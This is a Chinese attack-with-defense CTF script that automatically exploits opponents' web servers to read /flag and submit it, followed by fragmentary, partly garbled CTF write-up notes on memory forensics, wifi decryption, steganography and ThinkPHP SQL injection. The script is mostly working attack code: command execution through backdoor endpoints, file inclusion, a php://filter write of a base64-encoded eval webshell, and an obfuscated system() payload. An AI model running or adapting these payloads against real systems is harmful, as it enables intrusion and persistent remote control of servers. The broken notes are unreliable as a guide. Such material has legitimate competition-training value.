AWD FLAG脚本
之前AWD的自动写🐴获取flag脚本。
import requests
import re
import json
import time
import random
def filename():
return '.'+str(int(random.uniform(10000000, 99999999)))+'.php'
def exp1(target):
url = 'http://'+target+'/admin/test.php'
data = {"cmd":"system('cat /flag');"}
try:
r = requests.post(url=url, data=data, timeout=3)
res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
# res = re.findall(r"flag{.*}", r.text)
print('[+]Flag Found: '+target+'->'+res)
return res
except Exception:
pass
def exp2(target):
url = 'http://'+target+'/about.php?file=/flag'
try:
r = requests.get(url=url,timeout=3)
res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
print('[+]Flag Found: '+target+'->'+res)
return res
except Exception:
pass
def exp3(target):
url = 'http://'+target+'/admin/editor.php'
data = {"boy":"cat /flag"}
try:
r = requests.post(url=url, data=data, timeout=3)
res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
print('[+]Flag Found: '+target+'->'+res)
return res
except Exception:
pass
def exp4(target):
Filename = filename()
write_backdoor_url = 'http://'+target+'/admin/type.php?m=sPD9waHAgZXZhbChAJF9QT1NUWydjbWQnXSk7Pz4=&file=php://filter/write=convert.base64-decode/resource='+Filename
getflag_url = 'http://'+target+'/admin/'+Filename
data = {"cmd":"system('cat /flag');"}
try:
s = requests.get(url=write_backdoor_url)
print "[+]Backdoor is Write in :"+getflag_url
time.sleep(1)
r = requests.post(url=getflag_url, data=data, timeout=3)
res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
# res = re.findall(r"flag{.*}", r.text)
print('[+]Flag Found: '+target+'->'+res)
return res
except Exception:
pass
def exp5(target):
url = 'http://'+target+'/admin/articlelist.php?a=cat%20/flag&str=2;$a=sys.tem;$b=curr.ent;$a($b($b($GLOBALS)));'
try:
r = requests.get(url=url,timeout=3)
res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[1]+'}'
print('[+]Flag Found: '+target+'->'+res)
return res
except Exception:
pass
def exp6(target):
url = 'http://'+target+'/.aa'
try:
r = requests.get(url=url,timeout=3)
res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
print('[+]Flag Found: '+target+'->'+res)
return res
except Exception:
pass
def submit(flag_value):
url = 'http://x.x.x.x:8000/api/v1/challenges/attempt'
data = json.dumps({"challenge_id":1,"submission":flag_value})
headers = {
'Accept': 'application/json',
'CSRF-Token': 'c7b3f18a7eac5935b8f4279e53be8824fc304d85599c6e5ebd9ae4e701bb640e',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36',
'Content-Type': 'application/json',
'Origin': 'http://x.x.x.x:8000',
'Referer': 'http://x.x.x.x:8000/challenges',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'PHPSESSID=to9lsb0m9jrpv1hmdg37he5aa2; session=1f8b1fe6-ab39-4fa4-a03d-617a80f0b2b7',
'Connection': 'close'
}
s = requests.session()
req = s.post(url = url,headers=headers,data=data,verify = False)
print(req.text)
if __name__ == "__main__":
for i in range(8,15):
ip = "x.x.x.x:3{}80".format(str(i).rjust(2,'0'))
# flag = exp1(ip)
flag = exp2(ip)
# flag = exp3(ip)
# flag = exp4(ip)
# flag = exp5(ip)
# flag = exp6(ip)
# submit(flag)
# a=cat%20/flag&str=2;$a=sys.tem;$b=curr.ent;$a($b($b($GLOBALS)));


POC:
查看缓存在内存中的注册表:
获取 SAM 表中的用户:
查看内存中系统的密码:
CMD5解密
通过filescan查找ctf用户下的文件 发现1.png
将1.png dump下来,查看文件。与密码结合获得flag
##被加密的wifi
通过分析数据包发现key为88888888
通过airdecap-ng命令输入密码解密数据包
在已解密的数据包中找到flag

通过winhex修改文件高度
得到一半flag
翻到文件底部发现很多20和09,想到通过二进制生成二维码,将20修改为0,09改为1
使用脚本转换为图片,得到二维码
扫描得到flag
首先查看路由信息


进入
接着又传递给


















一开始想到的是
这里没啥思路只能爆破
密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!!
将图片下载下来,用
这个地方解了很久发现使用Dilraba的md5。。。。
得到一张图片再一次foremost得到一个压缩包成功拿到flag
2.题目:单身二十年


访问页面发现是一个thinkphp5.0 一猜就是sql注入
一开始以为是构造一个注入然后load_file到flag后来发现想多了,直接通过payload拿到mysql账号密码
主页查看源码发现有一个phpmyadmin,登陆后成功拿到flag
